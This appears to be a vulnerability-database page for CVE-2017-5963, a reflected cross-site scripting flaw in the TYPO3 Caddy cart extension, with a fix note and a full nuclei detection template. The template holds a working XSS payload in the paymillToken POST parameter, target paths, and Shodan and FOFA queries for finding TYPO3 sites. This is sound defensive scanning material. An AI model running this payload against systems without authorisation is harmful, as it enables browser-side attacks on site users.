HexBrain

Browse / CVEs / CVE-2017-5963

CVE-2017-5963· caddy project / caddy· CWE-79

TYPO3 Caddy Extension < 7.2.10 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.3%likelihood of exploitation, next 30 days
71%of all CVEs are less likely
Readycheck to confirm it

The TYPO3 Caddy shopping-cart extension (not the Caddy web server) before 7.2.10 contains a reflected cross-site scripting vulnerability caused by insufficient sanitization of the paymillToken HTTP POST parameter in Resources/Public/JavaScript/e-payment/paymill/api/php/payment.php. An unauthenticated attacker can inject arbitrary HTML and JavaScript that is returned in the HTTP response and executed in a victim's browser. NVD lists affected releases from 2.1.4 through 7.2.7. The issue was fixed in 7.2.10 (TYPO3 Forge #79325).

Impact

An attacker can execute arbitrary JavaScript in a victim's browser, which may lead to session hijacking, credential theft, or defacement of the affected site.

Fix

Upgrade the TYPO3 Caddy extension to version 7.2.10 or later.

How to confirm it

Send: POST {{BaseURL}}/typo3conf/ext/caddy/Resources/Public/JavaScript/e-payment/paymill/api/php/payment.php ; POST {{BaseURL}}/typo3conf/ext/caddy/Resources/Public/JavaScript/e-payment/paymill/api/payment.php ; POST {{BaseURL}}/caddy/Resources/Public/JavaScript/e-payment/paymill/api/php/payment.php ; POST {{BaseURL}}/typo3plugins/plugins/caddy/Resources/Public/JavaScript/e-payment/paymill/api/php/payment.php
Positive when: contains "><script>alert(document.domain)</script><" and "An error has occoured!" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2017-5963 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-5963

info:
  name: TYPO3 Caddy Extension < 7.2.10 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The TYPO3 Caddy shopping-cart extension (not the Caddy web server) before 7.2.10 contains a reflected cross-site scripting vulnerability caused by insufficient sanitization of the paymillToken HTTP POST parameter in Resources/Public/JavaScript/e-payment/paymill/api/php/payment.php. An unauthenticated attacker can inject arbitrary HTML and JavaScript that is returned in the HTTP response and executed in a victim's browser. NVD lists affected releases from 2.1.4 through 7.2.7. The issue was fixed in 7.2.10 (TYPO3 Forge #79325).
  impact: |
    An attacker can execute arbitrary JavaScript in a victim's browser, which may lead to session hijacking, credential theft, or defacement of the affected site.
  remediation: |
    Upgrade the TYPO3 Caddy extension to version 7.2.10 or later.
  reference:
    - https://web.archive.org/web/20170214000711/https://forge.typo3.org/issues/79325
    - http://www.securityfocus.com/bid/96198
    - https://gitlab.die-netzmacher.de/typo3/caddy
    - https://extensions.typo3.org/extension/caddy
    - https://nvd.nist.gov/vuln/detail/CVE-2017-5963
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-5963
    cwe-id: CWE-79
    epss-score: 0.01318
    epss-percentile: 0.71263
    cpe: cpe:2.3:a:caddy_project:caddy:*:*:*:*:*:typo3:*:*
  metadata:
    max-request: 4
    vendor: caddy_project
    product: caddy
    framework: typo3
    shodan-query: http.component:"TYPO3"
    fofa-query: app="TYPO3-CMS"
  tags: cve,cve2017,xss,typo3,caddy,paymill,vuln,vkev

http:
  - method: POST
    path:
      - "{{BaseURL}}/typo3conf/ext/caddy/Resources/Public/JavaScript/e-payment/paymill/api/php/payment.php"
      - "{{BaseURL}}/typo3conf/ext/caddy/Resources/Public/JavaScript/e-payment/paymill/api/payment.php"
      - "{{BaseURL}}/caddy/Resources/Public/JavaScript/e-payment/paymill/api/php/payment.php"
      - "{{BaseURL}}/typo3plugins/plugins/caddy/Resources/Public/JavaScript/e-payment/paymill/api/php/payment.php"

    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "paymillToken=><script>alert(document.domain)</script><"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><script>alert(document.domain)</script><"
          - "An error has occoured!"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from